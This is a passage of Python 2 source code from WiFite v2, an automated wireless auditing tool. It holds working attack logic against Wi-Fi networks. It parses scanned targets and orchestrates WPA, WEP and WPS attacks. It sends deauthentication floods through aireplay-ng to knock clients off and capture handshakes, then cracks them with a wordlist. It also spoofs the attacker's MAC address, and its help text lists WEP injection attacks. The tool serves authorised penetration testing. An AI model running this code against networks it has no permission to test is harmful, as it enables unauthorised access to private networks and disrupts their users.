  1318. wps_attack = WPSAttack(iface, t, self.RUN_CONFIG)
  1319. need_handshake = not wps_attack.RunAttack()
  1320. wpa_total += 1
  1321. if not need_handshake: wpa_success += 1
  1322. if self.RUN_CONFIG.TARGETS_REMAINING < 0: break
  1323. if not self.RUN_CONFIG.PIXIE and not self.RUN_CONFIG.WPA_DISABLE and need_handshake:
  1324. wpa_total += 1
  1325. wpa_attack = WPAAttack(iface, t, ts_clients, self.RUN_CONFIG)
  1326. if wpa_attack.RunAttack():
  1327. wpa_success += 1
  1328. elif t.encryption.find('WEP') != -1:
  1329. wep_total += 1
  1330. wep_attack = WEPAttack(iface, t, ts_clients, self.RUN_CONFIG)
  1331. if wep_attack.RunAttack():
  1332. wep_success += 1
  1333. else:
  1334. print R + ' unknown encryption:', t.encryption, W
  1335. # If user wants to stop attacking
  1336. if self.RUN_CONFIG.TARGETS_REMAINING <= 0: break
  1337. if wpa_total + wep_total > 0:
  1338. # Attacks are done! Show results to user
  1339. print ''
  1340. print GR + ' [+] %s%d attack%s completed:%s' % (
  1341. G, wpa_total + wep_total, '' if wpa_total + wep_total == 1 else 's', W)
  1342. print ''
  1343. if wpa_total > 0:
  1344. if wpa_success == 0:
  1345. print GR + ' [+]' + R,
  1346. elif wpa_success == wpa_total:
  1347. print GR + ' [+]' + G,
  1348. else:
  1349. print GR + ' [+]' + O,
  1350. print '%d/%d%s WPA attacks succeeded' % (wpa_success, wpa_total, W)
  1351. for finding in self.RUN_CONFIG.WPA_FINDINGS:
  1352. print ' ' + C + finding + W
  1353. if wep_total > 0:
  1354. if wep_success == 0:
  1355. print GR + ' [+]' + R,
  1356. elif wep_success == wep_total:
  1357. print GR + ' [+]' + G,
  1358. else:
  1359. print GR + ' [+]' + O,
  1360. print '%d/%d%s WEP attacks succeeded' % (wep_success, wep_total, W)
  1361. for finding in self.RUN_CONFIG.WEP_FINDINGS:
  1362. print ' ' + C + finding + W
  1363. caps = len(self.RUN_CONFIG.WPA_CAPS_TO_CRACK)
  1364. if caps > 0 and not self.RUN_CONFIG.WPA_DONT_CRACK:
  1365. print GR + ' [+]' + W + ' starting ' + G + 'WPA cracker' + W + ' on %s%d handshake%s' % (
  1366. G, caps, W if caps == 1 else 's' + W)
  1367. for cap in self.RUN_CONFIG.WPA_CAPS_TO_CRACK:
  1368. wpa_crack(cap, self.RUN_CONFIG)
  1369. print ''
  1370. self.RUN_CONFIG.exit_gracefully(0)
  1371. def parse_csv(self, filename):
  1372. """
  1373. Parses given lines from airodump-ng CSV file.
  1374. Returns tuple: List of targets and list of clients.
  1375. """
  1376. if not os.path.exists(filename): return ([], [])
  1377. targets = []
  1378. clients = []
  1379. try:
  1380. hit_clients = False
  1381. with open(filename, 'rb') as csvfile:
  1382. targetreader = csv.reader((line.replace('\0', '') for line in csvfile), delimiter=',')
  1383. for row in targetreader:
  1384. if len(row) < 2:
  1385. continue
  1386. if not hit_clients:
  1387. if row[0].strip() == 'Station MAC':
  1388. hit_clients = True
  1389. continue
  1390. if len(row) < 14:
  1391. continue
  1392. if row[0].strip() == 'BSSID':
  1393. continue
  1394. enc = row[5].strip()
  1395. wps = False
  1396. # Ignore non-WPA and non-WEP encryption
  1397. if enc.find('WPA') == -1 and enc.find('WEP') == -1: continue
  1398. if self.RUN_CONFIG.WEP_DISABLE and enc.find('WEP') != -1: continue
  1399. if self.RUN_CONFIG.WPA_DISABLE and self.RUN_CONFIG.WPS_DISABLE and enc.find(
  1400. 'WPA') != -1: continue
  1401. if enc == "WPA2WPA" or enc == "WPA2 WPA":
  1402. enc = "WPA2"
  1403. wps = True
  1404. if len(enc) > 4:
  1405. enc = enc[4:].strip()
  1406. power = int(row[8].strip())
  1407. ssid = row[13].strip()
  1408. ssidlen = int(row[12].strip())
  1409. ssid = ssid[:ssidlen]
  1410. if power < 0: power += 100
  1411. t = Target(row[0].strip(), power, row[10].strip(), row[3].strip(), enc, ssid)
  1412. t.wps = wps
  1413. targets.append(t)
  1414. else:
  1415. if len(row) < 6:
  1416. continue
  1417. bssid = re.sub(r'[^a-zA-Z0-9:]', '', row[0].strip())
  1418. station = re.sub(r'[^a-zA-Z0-9:]', '', row[5].strip())
  1419. power = row[3].strip()
  1420. if station != 'notassociated':
  1421. c = Client(bssid, station, power)
  1422. clients.append(c)
  1423. except IOError as e:
  1424. print "I/O error({0}): {1}".format(e.errno, e.strerror)
  1425. return ([], [])
  1426. return (targets, clients)
  1427. def analyze_capfile(self, capfile):
  1428. """
  1429. Analyzes given capfile for handshakes using various programs.
  1430. Prints results to console.
  1431. """
  1432. # we're not running an attack
  1433. wpa_attack = WPAAttack(None, None, None, None)
  1434. if self.RUN_CONFIG.TARGET_ESSID == '' and self.RUN_CONFIG.TARGET_BSSID == '':
  1435. print R + ' [!]' + O + ' target ssid and bssid are required to check for handshakes'
  1436. print R + ' [!]' + O + ' please enter essid (access point name) using -e <name>'
  1437. print R + ' [!]' + O + ' and/or target bssid (mac address) using -b <mac>\n'
  1438. # exit_gracefully(1)
  1439. if self.RUN_CONFIG.TARGET_BSSID == '':
  1440. # Get the first BSSID found in tshark!
  1441. self.RUN_CONFIG.TARGET_BSSID = get_bssid_from_cap(self.RUN_CONFIG.TARGET_ESSID, capfile)
  1442. # if TARGET_BSSID.find('->') != -1: TARGET_BSSID == ''
  1443. if self.RUN_CONFIG.TARGET_BSSID == '':
  1444. print R + ' [!]' + O + ' unable to guess BSSID from ESSID!'
  1445. else:
  1446. print GR + ' [+]' + W + ' guessed bssid: %s' % (G + self.RUN_CONFIG.TARGET_BSSID + W)
  1447. if self.RUN_CONFIG.TARGET_BSSID != '' and self.RUN_CONFIG.TARGET_ESSID == '':
  1448. self.RUN_CONFIG.TARGET_ESSID = get_essid_from_cap(self.RUN_CONFIG.TARGET_BSSID, capfile)
  1449. print GR + '\n [+]' + W + ' checking for handshakes in %s' % (G + capfile + W)
  1450. t = Target(self.RUN_CONFIG.TARGET_BSSID, '', '', '', 'WPA', self.RUN_CONFIG.TARGET_ESSID)
  1451. if program_exists('pyrit'):
  1452. result = wpa_attack.has_handshake_pyrit(t, capfile)
  1453. print GR + ' [+]' + W + ' ' + G + 'pyrit' + W + ':\t\t\t %s' % (
  1454. G + 'found!' + W if result else O + 'not found' + W)
  1455. else:
  1456. print R + ' [!]' + O + ' program not found: pyrit'
  1457. if program_exists('cowpatty'):
  1458. result = wpa_attack.has_handshake_cowpatty(t, capfile, nonstrict=True)
  1459. print GR + ' [+]' + W + ' ' + G + 'cowpatty' + W + ' (nonstrict):\t %s' % (
  1460. G + 'found!' + W if result else O + 'not found' + W)
  1461. result = wpa_attack.has_handshake_cowpatty(t, capfile, nonstrict=False)
  1462. print GR + ' [+]' + W + ' ' + G + 'cowpatty' + W + ' (strict):\t %s' % (
  1463. G + 'found!' + W if result else O + 'not found' + W)
  1464. else:
  1465. print R + ' [!]' + O + ' program not found: cowpatty'
  1466. if program_exists('tshark'):
  1467. result = wpa_attack.has_handshake_tshark(t, capfile)
  1468. print GR + ' [+]' + W + ' ' + G + 'tshark' + W + ':\t\t\t %s' % (
  1469. G + 'found!' + W if result else O + 'not found' + W)
  1470. else:
  1471. print R + ' [!]' + O + ' program not found: tshark'
  1472. if program_exists('aircrack-ng'):
  1473. result = wpa_attack.has_handshake_aircrack(t, capfile)
  1474. print GR + ' [+]' + W + ' ' + G + 'aircrack-ng' + W + ':\t\t %s' % (
  1475. G + 'found!' + W if result else O + 'not found' + W)
  1476. else:
  1477. print R + ' [!]' + O + ' program not found: aircrack-ng'
  1478. print ''
  1479. self.RUN_CONFIG.exit_gracefully(0)
  1480. ##################
  1481. # MAIN FUNCTIONS #
  1482. ##################
  1483. ##############################################################
  1484. ### End Classes
  1485. def rename(old, new):
  1486. """
  1487. Renames file 'old' to 'new', works with separate partitions.
  1488. Thanks to hannan.sadar
  1489. """
  1490. try:
  1491. os.rename(old, new)
  1492. except os.error, detail:
  1493. if detail.errno == errno.EXDEV:
  1494. try:
  1495. copy(old, new)
  1496. except:
  1497. os.unlink(new)
  1498. raise
  1499. os.unlink(old)
  1500. # if desired, deal with other errors
  1501. else:
  1502. raise
  1503. def banner(RUN_CONFIG):
  1504. """
  1505. Displays ASCII art of the highest caliber.
  1506. """
  1507. print ''
  1508. print G + " .;' `;, "
  1509. print G + " .;' ,;' `;, `;, " + W + "WiFite v2 (r" + str(RUN_CONFIG.REVISION) + ")"
  1510. print G + ".;' ,;' ,;' `;, `;, `;, "
  1511. print G + ":: :: : " + GR + "( )" + G + " : :: :: " + GR + "automated wireless auditor"
  1512. print G + "':. ':. ':. " + GR + "/_\\" + G + " ,:' ,:' ,:' "
  1513. print G + " ':. ':. " + GR + "/___\\" + G + " ,:' ,:' " + GR + "designed for Linux"
  1514. print G + " ':. " + GR + "/_____\\" + G + " ,:' "
  1515. print G + " " + GR + "/ \\" + G + " "
  1516. print W
  1517. def get_revision():
  1518. """
  1519. Gets latest revision # from the GitHub repository
  1520. Returns : revision#
  1521. """
  1522. irev = -1
  1523. try:
  1524. sock = urllib.urlopen('https://github.com/derv82/wifite/raw/master/wifite.py')
  1525. page = sock.read()
  1526. except IOError:
  1527. return (-1, '', '')
  1528. # get the revision
  1529. start = page.find('REVISION = ')
  1530. stop = page.find(";", start)
  1531. if start != -1 and stop != -1:
  1532. start += 11
  1533. rev = page[start:stop]
  1534. try:
  1535. irev = int(rev)
  1536. except ValueError:
  1537. rev = rev.split('\n')[0]
  1538. print R + '[+] invalid revision number: "' + rev + '"'
  1539. return irev
  1540. def help():
  1541. """
  1542. Prints help screen
  1543. """
  1544. head = W
  1545. sw = G
  1546. var = GR
  1547. des = W
  1548. de = G
  1549. print head + ' COMMANDS' + W
  1550. print sw + '\t-check ' + var + '<file>\t' + des + 'check capfile ' + var + '<file>' + des + ' for handshakes.' + W
  1551. print sw + '\t-cracked \t' + des + 'display previously-cracked access points' + W
  1552. print sw + '\t-recrack \t' + des + 'allow recracking of previously cracked access points' + W
  1553. print ''
  1554. print head + ' GLOBAL' + W
  1555. print sw + '\t-all \t' + des + 'attack all targets. ' + de + '[off]' + W
  1556. #print sw+'\t-pillage \t'+des+'attack all targets in a looping fashion.'+de+'[off]'+W
  1557. print sw + '\t-i ' + var + '<iface> \t' + des + 'wireless interface for capturing ' + de + '[auto]' + W
  1558. print sw + '\t-mon-iface ' + var + '<monitor_interface> \t' + des + 'interface in monitor mode for capturing ' + de + '[auto]' + W
  1559. print sw + '\t-mac \t' + des + 'anonymize mac address ' + de + '[off]' + W
  1560. print sw + '\t-c ' + var + '<channel>\t' + des + 'channel to scan for targets ' + de + '[auto]' + W
  1561. print sw + '\t-e ' + var + '<essid> \t' + des + 'target a specific access point by ssid (name) ' + de + '[ask]' + W
  1562. print sw + '\t-b ' + var + '<bssid> \t' + des + 'target a specific access point by bssid (mac) ' + de + '[auto]' + W
  1563. print sw + '\t-showb \t' + des + 'display target BSSIDs after scan ' + de + '[off]' + W
  1564. print sw + '\t-pow ' + var + '<db> \t' + des + 'attacks any targets with signal strenghth > ' + var + 'db ' + de + '[0]' + W
  1565. print sw + '\t-quiet \t' + des + 'do not print list of APs during scan ' + de + '[off]' + W
  1566. print ''
  1567. print head + '\n WPA' + W
  1568. print sw + '\t-wpa \t' + des + 'only target WPA networks (works with -wps -wep) ' + de + '[off]' + W
  1569. print sw + '\t-wpat ' + var + '<sec> \t' + des + 'time to wait for WPA attack to complete (seconds) ' + de + '[500]' + W
  1570. print sw + '\t-wpadt ' + var + '<sec> \t' + des + 'time to wait between sending deauth packets (sec) ' + de + '[10]' + W
  1571. print sw + '\t-strip \t' + des + 'strip handshake using tshark or pyrit ' + de + '[off]' + W
  1572. print sw + '\t-crack ' + var + '<dic>\t' + des + 'crack WPA handshakes using ' + var + '<dic>' + des + ' wordlist file ' + de + '[off]' + W
  1573. print sw + '\t-dict ' + var + '<file>\t' + des + 'specify dictionary to use when cracking WPA ' + de + '[phpbb.txt]' + W
  1574. print sw + '\t-aircrack \t' + des + 'verify handshake using aircrack ' + de + '[on]' + W
  1575. print sw + '\t-pyrit \t' + des + 'verify handshake using pyrit ' + de + '[off]' + W
  1576. print sw + '\t-tshark \t' + des + 'verify handshake using tshark ' + de + '[on]' + W
  1577. print sw + '\t-cowpatty \t' + des + 'verify handshake using cowpatty ' + de + '[off]' + W
  1578. print head + '\n WEP' + W
  1579. print sw + '\t-wep \t' + des + 'only target WEP networks ' + de + '[off]' + W
  1580. print sw + '\t-pps ' + var + '<num> \t' + des + 'set the number of packets per second to inject ' + de + '[600]' + W
  1581. print sw + '\t-wept ' + var + '<sec> \t' + des + 'sec to wait for each attack, 0 implies endless ' + de + '[600]' + W
  1582. print sw + '\t-chopchop \t' + des + 'use chopchop attack ' + de + '[on]' + W
  1583. print sw + '\t-arpreplay \t' + des + 'use arpreplay attack ' + de + '[on]' + W
  1584. print sw + '\t-fragment \t' + des + 'use fragmentation attack ' + de + '[on]' + W
  1585. print sw + '\t-caffelatte \t' + des + 'use caffe-latte attack ' + de + '[on]' + W
  1586. print sw + '\t-p0841 \t' + des + 'use -p0841 attack ' + de + '[on]' + W
  1587. print sw + '\t-hirte \t' + des + 'use hirte (cfrag) attack ' + de + '[on]' + W
  1588. print sw + '\t-nofakeauth \t' + des + 'stop attack if fake authentication fails ' + de + '[off]' + W
  1589. print sw + '\t-wepca ' + GR + '<n> \t' + des + 'start cracking when number of ivs surpass n ' + de + '[10000]' + W
  1590. print sw + '\t-wepsave \t' + des + 'save a copy of .cap files to this directory ' + de + '[off]' + W
  1591. print head + '\n WPS' + W
  1592. print sw + '\t-wps \t' + des + 'only target WPS networks ' + de + '[off]' + W
  1593. print sw + '\t-wpst ' + var + '<sec> \t' + des + 'max wait for new retry before giving up (0: never) ' + de + '[660]' + W
  1594. print sw + '\t-wpsratio ' + var + '<per>\t' + des + 'min ratio of successful PIN attempts/total tries ' + de + '[0]' + W
  1595. print sw + '\t-wpsretry ' + var + '<num>\t' + des + 'max number of retries for same PIN before giving up ' + de + '[0]' + W
  1596. print head + '\n EXAMPLE' + W
  1597. print sw + '\t./wifite.py ' + W + '-wps -wep -c 6 -pps 600' + W
  1598. print ''
  1599. ###########################
  1600. # WIRELESS CARD FUNCTIONS #
  1601. ###########################
  1602. ######################
  1603. # SCANNING FUNCTIONS #
  1604. ######################
  1605. def wps_check_targets(targets, cap_file, verbose=True):
  1606. """
  1607. Uses reaver's "walsh" (or wash) program to check access points in cap_file
  1608. for WPS functionality. Sets "wps" field of targets that match to True.
  1609. """
  1610. global RUN_CONFIG
  1611. if not program_exists('walsh') and not program_exists('wash'):
  1612. RUN_CONFIG.WPS_DISABLE = True # Tell 'scan' we were unable to execute walsh
  1613. return
  1614. program_name = 'walsh' if program_exists('walsh') else 'wash'
  1615. if len(targets) == 0 or not os.path.exists(cap_file): return
  1616. if verbose:
  1617. print GR + ' [+]' + W + ' checking for ' + G + 'WPS compatibility' + W + '...',
  1618. stdout.flush()
  1619. cmd = [program_name,
  1620. '-f', cap_file,
  1621. '-C'] # ignore Frame Check Sum errors
  1622. proc_walsh = Popen(cmd, stdout=PIPE, stderr=DN)
  1623. proc_walsh.wait()
  1624. for line in proc_walsh.communicate()[0].split('\n'):
  1625. if line.strip() == '' or line.startswith('Scanning for'): continue
  1626. bssid = line.split(' ')[0]
  1627. for t in targets:
  1628. if t.bssid.lower() == bssid.lower():
  1629. t.wps = True
  1630. if verbose:
  1631. print 'done'
  1632. removed = 0
  1633. if not RUN_CONFIG.WPS_DISABLE and RUN_CONFIG.WPA_DISABLE:
  1634. i = 0
  1635. while i < len(targets):
  1636. if not targets[i].wps and targets[i].encryption.find('WPA') != -1:
  1637. removed += 1
  1638. targets.pop(i)
  1639. else:
  1640. i += 1
  1641. if removed > 0 and verbose: print GR + ' [+]' + O + ' removed %d non-WPS-enabled targets%s' % (removed, W)
  1642. def print_and_exec(cmd):
  1643. """
  1644. Prints and executes command "cmd". Also waits half a second
  1645. Used by rtl8187_fix (for prettiness)
  1646. """
  1647. print '\r \r',
  1648. stdout.flush()
  1649. print O + ' [!] ' + W + 'executing: ' + O + ' '.join(cmd) + W,
  1650. stdout.flush()
  1651. call(cmd, stdout=DN, stderr=DN)
  1652. time.sleep(0.1)
  1653. ####################
  1654. # HELPER FUNCTIONS #
  1655. ####################
  1656. def remove_airodump_files(prefix):
  1657. """
  1658. Removes airodump output files for whatever file prefix ('wpa', 'wep', etc)
  1659. Used by wpa_get_handshake() and attack_wep()
  1660. """
  1661. global RUN_CONFIG
  1662. remove_file(prefix + '-01.cap')
  1663. remove_file(prefix + '-01.csv')
  1664. remove_file(prefix + '-01.kismet.csv')
  1665. remove_file(prefix + '-01.kismet.netxml')
  1666. for filename in os.listdir(RUN_CONFIG.temp):
  1667. if filename.lower().endswith('.xor'): remove_file(RUN_CONFIG.temp + filename)
  1668. for filename in os.listdir('.'):
  1669. if filename.startswith('replay_') and filename.endswith('.cap'):
  1670. remove_file(filename)
  1671. if filename.endswith('.xor'): remove_file(filename)
  1672. # Remove .cap's from previous attack sessions
  1673. """i = 2
  1674. while os.path.exists(temp + 'wep-' + str(i) + '.cap'):
  1675. os.remove(temp + 'wep-' + str(i) + '.cap')
  1676. i += 1
  1677. """
  1678. def remove_file(filename):
  1679. """
  1680. Attempts to remove a file. Does not throw error if file is not found.
  1681. """
  1682. try:
  1683. os.remove(filename)
  1684. except OSError:
  1685. pass
  1686. def program_exists(program):
  1687. """
  1688. Uses 'which' (linux command) to check if a program is installed.
  1689. """
  1690. proc = Popen(['which', program], stdout=PIPE, stderr=PIPE)
  1691. txt = proc.communicate()
  1692. if txt[0].strip() == '' and txt[1].strip() == '':
  1693. return False
  1694. if txt[0].strip() != '' and txt[1].strip() == '':
  1695. return True
  1696. return not (txt[1].strip() == '' or txt[1].find('no %s in' % program) != -1)
  1697. def sec_to_hms(sec):
  1698. """
  1699. Converts integer sec to h:mm:ss format
  1700. """
  1701. if sec <= -1: return '[endless]'
  1702. h = sec / 3600
  1703. sec %= 3600
  1704. m = sec / 60
  1705. sec %= 60
  1706. return '[%d:%02d:%02d]' % (h, m, sec)
  1707. def send_interrupt(process):
  1708. """
  1709. Sends interrupt signal to process's PID.
  1710. """
  1711. try:
  1712. os.kill(process.pid, SIGINT)
  1713. # os.kill(process.pid, SIGTERM)
  1714. except OSError:
  1715. pass # process cannot be killed
  1716. except TypeError:
  1717. pass # pid is incorrect type
  1718. except UnboundLocalError:
  1719. pass # 'process' is not defined
  1720. except AttributeError:
  1721. pass # Trying to kill "None"
  1722. def get_mac_address(iface):
  1723. """
  1724. Returns MAC address of "iface".
  1725. """
  1726. proc = Popen(['ifconfig', iface], stdout=PIPE, stderr=DN)
  1727. proc.wait()
  1728. mac = ''
  1729. first_line = proc.communicate()[0].split('\n')[0]
  1730. for word in first_line.split(' '):
  1731. if word != '': mac = word
  1732. if mac.find('-') != -1: mac = mac.replace('-', ':')
  1733. if len(mac) > 17: mac = mac[0:17]
  1734. return mac
  1735. def generate_random_mac(old_mac):
  1736. """
  1737. Generates a random MAC address.
  1738. Keeps the same vender (first 6 chars) of the old MAC address (old_mac).
  1739. Returns string in format old_mac[0:9] + :XX:XX:XX where X is random hex
  1740. """
  1741. random.seed()
  1742. new_mac = old_mac[:8].lower().replace('-', ':')
  1743. for i in xrange(0, 6):
  1744. if i % 2 == 0: new_mac += ':'
  1745. new_mac += '0123456789abcdef'[random.randint(0, 15)]
  1746. # Prevent generating the same MAC address via recursion.
  1747. if new_mac == old_mac:
  1748. new_mac = generate_random_mac(old_mac)
  1749. return new_mac
  1750. def mac_anonymize(iface):
  1751. """
  1752. Changes MAC address of 'iface' to a random MAC.
  1753. Only randomizes the last 6 digits of the MAC, so the vender says the same.
  1754. Stores old MAC address and the interface in ORIGINAL_IFACE_MAC
  1755. """
  1756. global RUN_CONFIG
  1757. if RUN_CONFIG.DO_NOT_CHANGE_MAC: return
  1758. if not program_exists('ifconfig'): return
  1759. # Store old (current) MAC address
  1760. proc = Popen(['ifconfig', iface], stdout=PIPE, stderr=DN)
  1761. proc.wait()
  1762. for word in proc.communicate()[0].split('\n')[0].split(' '):
  1763. if word != '': old_mac = word
  1764. RUN_CONFIG.ORIGINAL_IFACE_MAC = (iface, old_mac)
  1765. new_mac = generate_random_mac(old_mac)
  1766. call(['ifconfig', iface, 'down'])
  1767. print GR + " [+]" + W + " changing %s's MAC from %s to %s..." % (G + iface + W, G + old_mac + W, O + new_mac + W),
  1768. stdout.flush()
  1769. proc = Popen(['ifconfig', iface, 'hw', 'ether', new_mac], stdout=PIPE, stderr=DN)
  1770. proc.wait()
  1771. call(['ifconfig', iface, 'up'], stdout=DN, stderr=DN)
  1772. print 'done'
  1773. def mac_change_back():
  1774. """
  1775. Changes MAC address back to what it was before attacks began.
  1776. """
  1777. global RUN_CONFIG
  1778. iface = RUN_CONFIG.ORIGINAL_IFACE_MAC[0]
  1779. old_mac = RUN_CONFIG.ORIGINAL_IFACE_MAC[1]
  1780. if iface == '' or old_mac == '': return
  1781. print GR + " [+]" + W + " changing %s's mac back to %s..." % (G + iface + W, G + old_mac + W),
  1782. stdout.flush()
  1783. call(['ifconfig', iface, 'down'], stdout=DN, stderr=DN)
  1784. proc = Popen(['ifconfig', iface, 'hw', 'ether', old_mac], stdout=PIPE, stderr=DN)
  1785. proc.wait()
  1786. call(['ifconfig', iface, 'up'], stdout=DN, stderr=DN)
  1787. print "done"
  1788. def get_essid_from_cap(bssid, capfile):
  1789. """
  1790. Attempts to get ESSID from cap file using BSSID as reference.
  1791. Returns '' if not found.
  1792. """
  1793. if not program_exists('tshark'): return ''
  1794. cmd = ['tshark',
  1795. '-r', capfile,
  1796. '-R', 'wlan.fc.type_subtype == 0x05 && wlan.sa == %s' % bssid,
  1797. '-n']
  1798. proc = Popen(cmd, stdout=PIPE, stderr=DN)
  1799. proc.wait()
  1800. for line in proc.communicate()[0].split('\n'):
  1801. if line.find('SSID=') != -1:
  1802. essid = line[line.find('SSID=') + 5:]
  1803. print GR + ' [+]' + W + ' guessed essid: %s' % (G + essid + W)
  1804. return essid
  1805. print R + ' [!]' + O + ' unable to guess essid!' + W
  1806. return ''
  1807. def get_bssid_from_cap(essid, capfile):
  1808. """
  1809. Returns first BSSID of access point found in cap file.
  1810. This is not accurate at all, but it's a good guess.
  1811. Returns '' if not found.
  1812. """
  1813. global RUN_CONFIG
  1814. if not program_exists('tshark'): return ''
  1815. # Attempt to get BSSID based on ESSID
  1816. if essid != '':
  1817. cmd = ['tshark',
  1818. '-r', capfile,
  1819. '-R', 'wlan_mgt.ssid == "%s" && wlan.fc.type_subtype == 0x05' % (essid),
  1820. '-n', # Do not resolve MAC vendor names
  1821. '-T', 'fields', # Only display certain fields
  1822. '-e', 'wlan.sa'] # souce MAC address
  1823. proc = Popen(cmd, stdout=PIPE, stderr=DN)
  1824. proc.wait()
  1825. bssid = proc.communicate()[0].split('\n')[0]
  1826. if bssid != '': return bssid
  1827. cmd = ['tshark',
  1828. '-r', capfile,
  1829. '-R', 'eapol',
  1830. '-n']
  1831. proc = Popen(cmd, stdout=PIPE, stderr=DN)
  1832. proc.wait()
  1833. for line in proc.communicate()[0].split('\n'):
  1834. if line.endswith('Key (msg 1/4)') or line.endswith('Key (msg 3/4)'):
  1835. while line.startswith(' ') or line.startswith('\t'): line = line[1:]
  1836. line = line.replace('\t', ' ')
  1837. while line.find(' ') != -1: line = line.replace(' ', ' ')
  1838. return line.split(' ')[2]
  1839. elif line.endswith('Key (msg 2/4)') or line.endswith('Key (msg 4/4)'):
  1840. while line.startswith(' ') or line.startswith('\t'): line = line[1:]
  1841. line = line.replace('\t', ' ')
  1842. while line.find(' ') != -1: line = line.replace(' ', ' ')
  1843. return line.split(' ')[4]
  1844. return ''
  1845. def attack_interrupted_prompt():
  1846. """
  1847. Promps user to decide if they want to exit,
  1848. skip to cracking WPA handshakes,
  1849. or continue attacking the remaining targets (if applicable).
  1850. returns True if user chose to exit complete, False otherwise
  1851. """
  1852. global RUN_CONFIG
  1853. should_we_exit = False
  1854. # If there are more targets to attack, ask what to do next
  1855. if RUN_CONFIG.TARGETS_REMAINING > 0:
  1856. options = ''
  1857. print GR + "\n [+] %s%d%s target%s remain%s" % (G, RUN_CONFIG.TARGETS_REMAINING, W,
  1858. '' if RUN_CONFIG.TARGETS_REMAINING == 1 else 's',
  1859. 's' if RUN_CONFIG.TARGETS_REMAINING == 1 else '')
  1860. print GR + " [+]" + W + " what do you want to do?"
  1861. options += G + 'c' + W
  1862. print G + " [c]ontinue" + W + " attacking targets"
  1863. if len(RUN_CONFIG.WPA_CAPS_TO_CRACK) > 0:
  1864. options += W + ', ' + O + 's' + W
  1865. print O + " [s]kip" + W + " to cracking WPA cap files"
  1866. options += W + ', or ' + R + 'e' + W
  1867. print R + " [e]xit" + W + " completely"
  1868. ri = ''
  1869. while ri != 'c' and ri != 's' and ri != 'e':
  1870. ri = raw_input(GR + ' [+]' + W + ' please make a selection (%s): ' % options)
  1871. if ri == 's':
  1872. RUN_CONFIG.TARGETS_REMAINING = -1 # Tells start() to ignore other targets, skip to cracking
  1873. elif ri == 'e':
  1874. should_we_exit = True
  1875. return should_we_exit
  1876. #
  1877. # Abstract base class for attacks.
  1878. # Attacks are required to implement the following methods:
  1879. # RunAttack - Initializes the attack
  1880. # EndAttack - Cleanly ends the attack
  1881. #
  1882. class Attack(object):
  1883. __metaclass__ = abc.ABCMeta
  1884. @abc.abstractmethod
  1885. def RunAttack(self):
  1886. raise NotImplementedError()
  1887. @abc.abstractmethod
  1888. def EndAttack(self):
  1889. raise NotImplementedError()
  1890. #################
  1891. # WPA FUNCTIONS #
  1892. #################
  1893. class WPAAttack(Attack):
  1894. def __init__(self, iface, target, clients, config):
  1895. self.iface = iface
  1896. self.clients = clients
  1897. self.target = target
  1898. self.RUN_CONFIG = config
  1899. def RunAttack(self):
  1900. '''
  1901. Abstract method for initializing the WPA attack
  1902. '''
  1903. self.wpa_get_handshake()
  1904. def EndAttack(self):
  1905. '''
  1906. Abstract method for ending the WPA attack
  1907. '''
  1908. pass
  1909. def wpa_get_handshake(self):
  1910. """
  1911. Opens an airodump capture on the target, dumping to a file.
  1912. During the capture, sends deauthentication packets to the target both as
  1913. general deauthentication packets and specific packets aimed at connected clients.
  1914. Waits until a handshake is captured.
  1915. "iface" - interface to capture on
  1916. "target" - Target object containing info on access point
  1917. "clients" - List of Client objects associated with the target
  1918. Returns True if handshake was found, False otherwise
  1919. """
  1920. if self.RUN_CONFIG.WPA_ATTACK_TIMEOUT <= 0: self.RUN_CONFIG.WPA_ATTACK_TIMEOUT = -1
  1921. # Generate the filename to save the .cap file as <SSID>_aa-bb-cc-dd-ee-ff.cap
  1922. save_as = self.RUN_CONFIG.WPA_HANDSHAKE_DIR + os.sep + re.sub(r'[^a-zA-Z0-9]', '', self.target.ssid) \
  1923. + '_' + self.target.bssid.replace(':', '-') + '.cap'
  1924. # Check if we already have a handshake for this SSID... If we do, generate a new filename
  1925. save_index = 0
  1926. while os.path.exists(save_as):
  1927. save_index += 1
  1928. save_as = self.RUN_CONFIG.WPA_HANDSHAKE_DIR + os.sep + re.sub(r'[^a-zA-Z0-9]', '', self.target.ssid) \
  1929. + '_' + self.target.bssid.replace(':', '-') \
  1930. + '_' + str(save_index) + '.cap'
  1931. # Remove previous airodump output files (if needed)
  1932. remove_airodump_files(self.RUN_CONFIG.temp + 'wpa')
  1933. # Start of large Try-Except; used for catching keyboard interrupt (Ctrl+C)
  1934. try:
  1935. # Start airodump-ng process to capture handshakes
  1936. cmd = ['airodump-ng',
  1937. '-w', self.RUN_CONFIG.temp + 'wpa',
  1938. '-c', self.target.channel,
  1939. '--bssid', self.target.bssid, self.iface]
  1940. proc_read = Popen(cmd, stdout=DN, stderr=DN)
  1941. # Setting deauthentication process here to avoid errors later on
  1942. proc_deauth = None
  1943. print ' %s starting %swpa handshake capture%s on "%s"' % \
  1944. (GR + sec_to_hms(self.RUN_CONFIG.WPA_ATTACK_TIMEOUT) + W, G, W, G + self.target.ssid + W)
  1945. got_handshake = False
  1946. seconds_running = 0
  1947. seconds_since_last_deauth = 0
  1948. target_clients = self.clients[:]
  1949. client_index = -1
  1950. start_time = time.time()
  1951. # Deauth and check-for-handshake loop
  1952. while not got_handshake and (
  1953. self.RUN_CONFIG.WPA_ATTACK_TIMEOUT <= 0 or seconds_running < self.RUN_CONFIG.WPA_ATTACK_TIMEOUT):
  1954. if proc_read.poll() != None:
  1955. print ""
  1956. print "airodump-ng exited with status " + str(proc_read.poll())
  1957. print ""
  1958. break
  1959. time.sleep(1)
  1960. seconds_since_last_deauth += int(time.time() - start_time - seconds_running)
  1961. seconds_running = int(time.time() - start_time)
  1962. print " \r",
  1963. print ' %s listening for handshake...\r' % \
  1964. (GR + sec_to_hms(self.RUN_CONFIG.WPA_ATTACK_TIMEOUT - seconds_running) + W),
  1965. stdout.flush()
  1966. if seconds_since_last_deauth > self.RUN_CONFIG.WPA_DEAUTH_TIMEOUT:
  1967. seconds_since_last_deauth = 0
  1968. # Send deauth packets via aireplay-ng
  1969. cmd = ['aireplay-ng',
  1970. '--ignore-negative-one',
  1971. '-0', # Attack method (Deauthentication)
  1972. str(self.RUN_CONFIG.WPA_DEAUTH_COUNT), # Number of packets to send
  1973. '-a', self.target.bssid]
  1974. client_index += 1
  1975. if client_index == -1 or len(target_clients) == 0 or client_index >= len(target_clients):
  1976. print " %s sending %s deauth to %s*broadcast*%s..." % \
  1977. (GR + sec_to_hms(self.RUN_CONFIG.WPA_ATTACK_TIMEOUT - seconds_running) + W,
  1978. G + str(self.RUN_CONFIG.WPA_DEAUTH_COUNT) + W, G, W),
  1979. client_index = -1
